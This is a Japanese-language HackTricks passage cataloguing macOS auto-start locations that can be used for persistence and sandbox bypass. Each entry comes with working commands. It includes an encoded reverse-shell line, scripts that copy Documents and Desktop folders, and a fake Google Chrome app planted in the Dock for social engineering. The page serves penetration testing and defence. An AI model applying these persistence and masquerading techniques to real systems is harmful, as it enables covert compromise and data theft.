hacktricks/macos-hardening/macos-auto-start-locations.md

70 KiB
Raw Blame History

macOSの自動起動

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このセクションは、ブログシリーズBeyond the good ol' LaunchAgentsを基にしており、追加の自動起動場所可能な場合を追加し、最新バージョンのmacOS13.4)でまだ機能しているテクニックを示し、必要な権限を指定することを目的としています。

サンドボックス回避

{% hint style="success" %} ここでは、サンドボックス回避に役立つ起動場所を見つけることができます。これにより、単純にファイルに書き込んで待機し、非常に一般的なアクション、決まった時間、または通常はルート権限を必要としないアクションを実行できます。 {% endhint %}

Launchd

  • サンドボックス回避に役立つ:

場所

  • /Library/LaunchAgents
  • トリガー: 再起動
  • ルート権限が必要です
  • /Library/LaunchDaemons
  • トリガー: 再起動
  • ルート権限が必要です
  • /System/Library/LaunchAgents
  • トリガー: 再起動
  • ルート権限が必要です
  • /System/Library/LaunchDaemons
  • トリガー: 再起動
  • ルート権限が必要です
  • ~/Library/LaunchAgents
  • トリガー: 再ログイン
  • ~/Library/LaunchDemons
  • トリガー: 再ログイン

説明と攻撃手法

launchdは、OX Sカーネルによって起動時に実行される最初のプロセスであり、シャットダウン時に終了する最後のプロセスです。常にPID 1を持つべきです。このプロセスは、以下の場所にあるASEP plistsで指定された設定を読み取り、実行します。

  • /Library/LaunchAgents: 管理者によってインストールされたユーザーごとのエージェント
  • /Library/LaunchDaemons: 管理者によってインストールされたシステム全体のデーモン
  • /System/Library/LaunchAgents: Appleが提供するユーザーごとのエージェント。
  • /System/Library/LaunchDaemons: Appleが提供するシステム全体のデーモン。

ユーザーがログインすると、/Users/$USER/Library/LaunchAgents/Users/$USER/Library/LaunchDemonsにあるplistsがログインしたユーザーの権限で開始されます。

エージェントとデーモンの主な違いは、エージェントはユーザーがログインすると読み込まれ、デーモンはシステムの起動時に読み込まれることですsshなどのサービスは、ユーザーがシステムにアクセスする前に実行する必要があるため。また、エージェントはGUIを使用する場合があり、デーモンはバックグラウンドで実行する必要があります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

ユーザーがログインする前にエージェントを実行する必要がある場合があります。これらはPreLoginAgentsと呼ばれます。たとえば、これはログイン時に支援技術を提供するために役立ちます。これらは/Library/LaunchAgentsにも見つけることができます(こちらに例があります)。

{% hint style="info" %} 新しいデーモンまたはエージェントの設定ファイルは、次回の再起動後または launchctl load <target.plist>を使用してロードされます。また、拡張子なしの.plistファイルをlaunchctl -F <file>でロードすることも可能ですただし、これらのplistファイルは自動的に再起動後にロードされませんlaunchctl unload <target.plist>を使用してアンロードすることも可能です(それによって指定されたプロセスは終了します)。

エージェントまたはデーモンが実行されるのを妨げる(オーバーライドなど)何もないことを確認するには、次のコマンドを実行します:sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist {% endhint %}

現在のユーザーによってロードされているすべてのエージェントとデーモンをリストアップします:

launchctl list

シェルの起動ファイル

解説: https://theevilbit.github.io/beyond/beyond_0001/
解説 (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • サンドボックス回避に役立つ:

場所

  • ~/.zshrc, ~/.zlogin, ~/.zshenv, ~/.zprofile
  • トリガー: zshでターミナルを開く
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • トリガー: zshでターミナルを開く
  • ルート権限が必要
  • ~/.zlogout
  • トリガー: zshでターミナルを終了する
  • /etc/zlogout
  • トリガー: zshでターミナルを終了する
  • ルート権限が必要
  • 他にもあるかもしれない: man zsh
  • ~/.bashrc
  • トリガー: bashでターミナルを開く
  • /etc/profile (動作しなかった)
  • ~/.profile (動作しなかった)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • トリガー: xtermで起動することが期待されていますが、インストールされていないため、インストールしてもこのエラーが表示されます: xterm: DISPLAY is not set

説明と攻撃手法

シェルの起動ファイルは、zshbashなどのシェル環境が起動するときに実行されます。macOSでは最近はデフォルトで/bin/zshが使用され、Terminalを開いたり、デバイスにSSH接続したときには、このシェル環境が使用されます。bashshも利用可能ですが、明示的に起動する必要があります。

man zshで読むことができるzshのマニュアルページには、起動ファイルの詳しい説明があります。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

再オープンされるアプリケーション

{% hint style="danger" %} 指定された攻撃手法の設定やログアウト、ログイン、または再起動を行っても、アプリケーションを実行することができませんでした。(アプリケーションが実行されていなかったのかもしれません。これらの操作を実行する際には、アプリケーションが実行されている必要があるかもしれません。) {% endhint %}

解説: https://theevilbit.github.io/beyond/beyond_0021/

  • サンドボックスをバイパスするのに役立ちます:

場所

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • トリガー: アプリケーションの再起動

説明と攻撃手法

再オープンされるすべてのアプリケーションは、plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 内にあります。

したがって、自分自身のアプリケーションを再オープンアプリケーションとして起動するには、単にアプリケーションをリストに追加するだけです。

UUIDは、そのディレクトリをリストアップするか、ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' を使用して見つけることができます。

再オープンされるアプリケーションを確認するには、次のコマンドを実行します:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

このリストにアプリケーションを追加するには、次の方法を使用できます:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

ターミナルの設定

  • サンドボックスをバイパスするのに便利:

場所

  • ~/Library/Preferences/com.apple.Terminal.plist
  • トリガー: ターミナルを開く

説明と攻撃手法

~/Library/Preferences には、アプリケーションのユーザーの設定が保存されています。これらの設定の中には、他のアプリケーションやスクリプトを実行するための構成が含まれているものもあります。

例えば、ターミナルは起動時にコマンドを実行することができます:

この設定は、ファイル ~/Library/Preferences/com.apple.Terminal.plist に以下のように反映されます:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

したがって、システムのターミナルの設定のplistが上書きされると、open機能を使用してターミナルを開き、そのコマンドが実行されます

次のコマンドを使用して、cliからこれを追加できます

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

ターミナルスクリプト

  • サンドボックスをバイパスするのに便利:

場所

  • どこでも
  • トリガー: ターミナルを開く

説明と攻撃手法

.terminal スクリプトを作成して開くと、ターミナルアプリケーションが自動的に起動し、そこに指定されたコマンドが実行されます。ターミナルアプリに特別な権限TCCなどがある場合、コマンドはその特別な権限で実行されます。

以下を試してみてください:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

{% hint style="danger" %} ターミナルにフルディスクアクセスがある場合、そのアクションを完了することができます(実行されたコマンドはターミナルウィンドウに表示されます)。 {% endhint %}

オーディオプラグイン

解説: https://theevilbit.github.io/beyond/beyond_0013/
解説: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

位置

  • /Library/Audio/Plug-Ins/HAL
  • ルート権限が必要です
  • トリガー: coreaudiodまたはコンピュータの再起動
  • /Library/Audio/Plug-ins/Components
  • ルート権限が必要です
  • トリガー: coreaudiodまたはコンピュータの再起動
  • ~/Library/Audio/Plug-ins/Components
  • トリガー: coreaudiodまたはコンピュータの再起動
  • /System/Library/Components
  • ルート権限が必要です
  • トリガー: coreaudiodまたはコンピュータの再起動

説明

以前の解説によれば、いくつかのオーディオプラグインをコンパイルしてロードすることが可能です。

QuickLookプラグイン

解説: https://theevilbit.github.io/beyond/beyond_0028/

  • サンドボックスをバイパスするのに便利:

位置

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

説明と攻撃手法

QuickLookプラグインは、ファイルのプレビューをトリガーするFinderでファイルを選択した状態でスペースバーを押すと、そのファイルタイプをサポートするプラグインがインストールされている場合に実行されます。

独自のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされているファイルに移動してスペースを押すことでトリガーすることが可能です。

ログイン/ログアウトフック

{% hint style="danger" %} 私にはうまくいきませんでした。ユーザーログインフックもルートログアウトフックもうまく動作しませんでした。 {% endhint %}

解説: https://theevilbit.github.io/beyond/beyond_0022/

サンドボックスをバイパスするのに便利:

位置

  • defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.shのようなコマンドを実行できる必要があります
  • ~/Library/Preferences/com.apple.loginwindow.plistにあります

これらは非推奨ですが、ユーザーがログインしたときにコマンドを実行するために使用することができます。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

この設定は/Users/$USER/Library/Preferences/com.apple.loginwindow.plistに保存されています。

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

削除するには:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

ルートユーザーのスタート位置は**/private/var/root/Library/Preferences/com.apple.loginwindow.plist**に保存されています。

条件付きサンドボックスバイパス

{% hint style="success" %} ここでは、サンドボックスバイパスに役立つスタート位置を見つけることができます。これにより、単純にファイルに書き込んで実行することができます。特定のインストールされたプログラム、"一般的でない"ユーザーのアクションや環境など、一般的でない条件を期待します。 {% endhint %}

Cron

解説: https://theevilbit.github.io/beyond/beyond_0004/

  • サンドボックスバイパスに役立つ:
  • ただし、crontabバイナリを実行できる必要があります
  • または、ルートユーザーである必要があります

位置

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • 直接書き込みアクセスにはルートが必要です。crontab <file>を実行できる場合はルートは必要ありません。
  • トリガー: cronジョブに依存します。

説明と攻撃手法

現在のユーザーのcronジョブをリストアップするには、以下を実行します

crontab -l

ユーザーのすべてのcronジョブは、/usr/lib/cron/tabs//var/at/tabs/root権限が必要にあります。

MacOSでは、特定の頻度でスクリプトを実行するいくつかのフォルダが次の場所にあります:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

そこには通常のcronジョブ、あまり使われていないatジョブ、および一時ファイルのクリーニングに主に使用されるperiodicジョブがあります。例えば、デイリーのperiodicジョブは次のように実行できます: periodic daily

ユーザーのcronジョブをプログラムで追加するには、次のようにすることができます:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

解説: https://theevilbit.github.io/beyond/beyond_0002/

  • サンドボックスをバイパスするのに便利:

場所

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • トリガー: iTermを開く
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • トリガー: iTermを開く
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • トリガー: iTermを開く

説明と攻撃手法

**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**に保存されたスクリプトが実行されます。例えば:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

スクリプト ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt も実行されます:

do shell script "touch /tmp/iterm2-autolaunchscpt"

**~/Library/Preferences/com.googlecode.iterm2.plist**にあるiTerm2の設定は、iTerm2ターミナルが開かれたときに実行するコマンドを示すことができます。

この設定はiTerm2の設定で構成することができます

そして、コマンドは設定に反映されます:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

コマンドを実行するには、次のように設定できます:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} iTerm2の設定を悪用する他の方法がある可能性が非常に高いです。 {% endhint %}

xbar

解説: https://theevilbit.github.io/beyond/beyond_0007/

  • サンドボックスをバイパスするのに便利:
  • ただし、xbarをインストールする必要があります

場所

  • ~/Library/Application\ Support/xbar/plugins/
  • トリガー: xbarが実行されるとき

Hammerspoon

解説: https://theevilbit.github.io/beyond/beyond_0008/

サンドボックスをバイパスするのに便利:

  • ただし、Hammerspoonをインストールする必要があります

場所

  • ~/.hammerspoon/init.lua
  • トリガー: Hammerspoonが実行されるとき

説明

Hammerspoonは、LUAスクリプト言語を通じてmacOSのスクリプト化を可能にする自動化ツールです。AppleScriptのコードを埋め込むこともでき、シェルスクリプトを実行することもできます。

このアプリは、単一のファイルである~/.hammerspoon/init.luaを探し、起動時にスクリプトが実行されます。

cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("id > /tmp/hs.txt")
EOF

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • サンドボックスをバイパスするのに便利:
  • ただし、sshが有効になっていて使用されている必要があります

場所

  • ~/.ssh/rc
  • トリガー: SSH経由でログイン
  • /etc/ssh/sshrc
  • ルート権限が必要
  • トリガー: SSH経由でログイン

説明と攻撃手法

デフォルトでは、/etc/ssh/sshd_configPermitUserRC noがない限り、ユーザーがSSH経由でログインすると、スクリプト**/etc/ssh/sshrc~/.ssh/rc**が実行されます。

説明

人気のあるプログラムxbarがインストールされている場合、**~/Library/Application\ Support/xbar/plugins/**にシェルスクリプトを書くことができます。このスクリプトはxbarが起動された時に実行されます。

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

ログインアイテム

解説: https://theevilbit.github.io/beyond/beyond_0003/

  • サンドボックスをバイパスするのに便利:
  • ただし、osascriptを引数として実行する必要があります

場所

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • トリガー: ログイン
  • 悪意のあるペイロードは、osascript を呼び出して保存されます
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • トリガー: ログイン
  • ルート権限が必要です

説明

システム環境設定 -> ユーザーとグループ -> ログインアイテム には、ユーザーがログインしたときに実行されるアイテム があります。
これらをコマンドラインからリストアップ、追加、削除することが可能です。

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

これらのアイテムは、ファイル**~/Library/Application Support/com.apple.backgroundtaskmanagementagent**に保存されます。

ログインアイテムは、API SMLoginItemSetEnabledを使用して指定することもできます。このAPIは、設定を**/var/db/com.apple.xpc.launchd/loginitems.501.plist**に保存します。

ログインアイテムとしてのZIP

(ログインアイテムに関する前のセクションを確認してください。これは拡張です)

ZIPファイルをログインアイテムとして保存すると、Archive Utilityがそれを開きます。たとえば、ZIPが~/Libraryに保存され、フォルダLaunchAgents/file.plistがバックドアを含んでいる場合、そのフォルダが作成されデフォルトでは作成されません、plistが追加されます。したがって、次回ユーザーが再ログインすると、plistで指定されたバックドアが実行されます

別のオプションとして、ユーザーのホームディレクトリに**.bash_profile.zshenv**ファイルを作成することもできます。したがって、LaunchAgentsフォルダが既に存在する場合でも、このテクニックは機能します。

At

解説: https://theevilbit.github.io/beyond/beyond_0014/

位置

  • at実行する必要があり、有効化されている必要があります。

説明

「atタスク」は、特定の時間にタスクをスケジュールするために使用されます。
これらのタスクはcronと異なり、一度だけ実行された後に削除される一時的なタスクです。ただし、システムの再起動後も残るため、潜在的な脅威として排除することはできません。

デフォルトでは無効ですが、rootユーザーは次のコマンドで有効化できます:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

これにより、1時間後にファイルが作成されます。

echo "echo 11 > /tmp/at.txt" | at now+1

atqコマンドを使用してジョブキューを確認します:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

上記では、2つのスケジュールされたジョブが表示されています。at -c JOBNUMBERを使用して、ジョブの詳細を出力できます。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} ATタスクが有効になっていない場合、作成されたタスクは実行されません。 {% endhint %}

ジョブファイル/private/var/at/jobs/にあります。

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

ファイル名には、キュー、ジョブ番号、および実行予定時刻が含まれています。例えば、a0001a019bdcd2を見てみましょう。

  • a - これはキューです
  • 0001a - 16進数でのジョブ番号、0x1a = 26
  • 019bdcd2 - 16進数での時間。エポックから経過した分数を表します。0x019bdcd2は10進数で26991826です。これを60倍すると1619509560になります。これはGMT: 2021年4月27日、火曜日7時46分00秒です。

ジョブファイルを印刷すると、at -cを使用して得た情報と同じ情報が含まれていることがわかります。

フォルダーアクション

解説: https://theevilbit.github.io/beyond/beyond_0024/
解説: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • サンドボックスをバイパスするのに便利:
  • ただし、引数を指定してosascriptを呼び出し、フォルダーアクションを設定できる必要があります。

場所

  • /Library/Scripts/Folder Action Scripts
  • ルート権限が必要です
  • トリガー: 指定されたフォルダへのアクセス
  • ~/Library/Scripts/Folder Action Scripts
  • トリガー: 指定されたフォルダへのアクセス

説明と攻撃手法

フォルダーアクションスクリプトは、アタッチされているフォルダにアイテムが追加または削除された場合、またはウィンドウが開かれたり閉じられたり、移動したりサイズが変更されたりすると実行されます。

  • Finder UIを介してフォルダを開く
  • フォルダにファイルを追加する(ドラッグ&ドロップやターミナルからのシェルプロンプトでも可能)
  • フォルダからファイルを削除する(ドラッグ&ドロップやターミナルからのシェルプロンプトでも可能)
  • UIを介してフォルダから移動する

これを実装する方法はいくつかあります。

  1. Automatorプログラムを使用して、フォルダーアクションワークフローファイル(.workflowを作成し、サービスとしてインストールします。
  2. フォルダを右クリックし、「フォルダーアクションの設定...」を選択し、「サービスを実行」を選択し、スクリプトを手動でアタッチします。
  3. OSAScriptを使用して、Apple EventメッセージをSystem Events.appに送信し、新しいフォルダーアクションをプログラムでクエリおよび登録します。
  • これは、OSAScriptを使用してApple EventメッセージをSystem Events.appに送信して永続性を実装する方法です。

以下は実行されるスクリプトです:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

次のコマンドでコンパイルします:osacompile -l JavaScript -o folder.scpt source.js

次に、以下のスクリプトを実行して、フォルダアクションを有効にし、以前にコンパイルされたスクリプトをフォルダ /users/username/Desktop にアタッチします:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

スクリプトを実行するには、次のコマンドを使用します:osascript -l JavaScript /Users/username/attach.scpt

  • これはGUIを介して永続性を実装する方法です

実行されるスクリプトは次のとおりです:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

次のコマンドでコンパイルします: osacompile -l JavaScript -o folder.scpt source.js

次の場所に移動します:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

次に、「Folder Actions Setup」アプリを開き、監視したいフォルダを選択し、この場合は**folder.scpt**私の場合はoutput2.scpと呼びましたを選択します。

これで、Finderでそのフォルダを開くと、スクリプトが実行されます。

この設定は、base64形式で保存された~/Library/Preferences/com.apple.FolderActionsDispatcher.plistに保存されています。

次に、GUIアクセスなしでこの永続性を準備してみましょう

  1. **~/Library/Preferences/com.apple.FolderActionsDispatcher.plist**をバックアップするために/tmpにコピーします:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. さきほど設定したフォルダアクションを削除します:

これで、空の環境ができました。

  1. バックアップファイルをコピーします:cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. この設定を適用するために、Folder Actions Setup.appを開きますopen "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} 私の場合はうまくいきませんでしたが、これが手順です :( {% endhint %}

Spotlight Importers

Writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • サンドボックスをバイパスするのに便利:🟠
  • ただし、新しいサンドボックスに入ります

場所

  • /Library/Spotlight
  • ~/Library/Spotlight

説明

重いサンドボックスに入ることになるため、おそらくこのテクニックは使用したくないでしょう。

Dockショートカット

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • サンドボックスをバイパスするのに便利:
  • ただし、システム内に悪意のあるアプリケーションをインストールする必要があります

場所

  • ~/Library/Preferences/com.apple.dock.plist
  • トリガー:ドック内のアプリをクリックしたとき

説明と攻撃手法

ドックに表示されるすべてのアプリケーションは、plist内で指定されています~/Library/Preferences/com.apple.dock.plist

次のように、アプリケーションを追加することができます:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

いくつかのソーシャルエンジニアリングを使用すると、ドック内でGoogle Chromeなどをなりすまし、実際に独自のスクリプトを実行することができます。

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

カラーピッカー

解説: https://theevilbit.github.io/beyond/beyond_0017

  • サンドボックスをバイパスするのに役立つ: 🟠
  • 非常に具体的なアクションが必要です
  • 別のサンドボックスに入ります

場所

  • /Library/ColorPickers
  • ルート権限が必要です
  • トリガー: カラーピッカーを使用する
  • ~/Library/ColorPickers
  • トリガー: カラーピッカーを使用する

説明とエクスプロイト

コードと一緒にカラーピッカーのバンドルをコンパイルします(たとえば、この例を使用できます)。そして、コンストラクタを追加します(スクリーンセーバーセクションのように)そして、バンドルを~/Library/ColorPickersにコピーします。

その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。

注意してください、あなたのライブラリをロードするバイナリは非常に制限のあるサンドボックスを持っています: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Finder Syncプラグイン

解説: https://theevilbit.github.io/beyond/beyond_0026/
解説: https://objective-see.org/blog/blog_0x11.html

  • サンドボックスをバイパスするために役立つ: いいえ、自分自身のアプリを実行する必要があるため

位置

  • 特定のアプリ

説明とエクスプロイト

Finder Sync拡張機能を持つアプリケーションの例はこちらで見つけることができます

アプリケーションはFinder Sync Extensionsを持つことができます。この拡張機能は実行されるアプリケーションの内部に配置されます。さらに、拡張機能が自身のコードを実行できるようにするためには、有効なAppleデベロッパー証明書で署名されている必要があり、サンドボックス化されている必要があります(ただし、緩和された例外が追加される場合もあります)。また、次のようなものに登録されている必要があります:

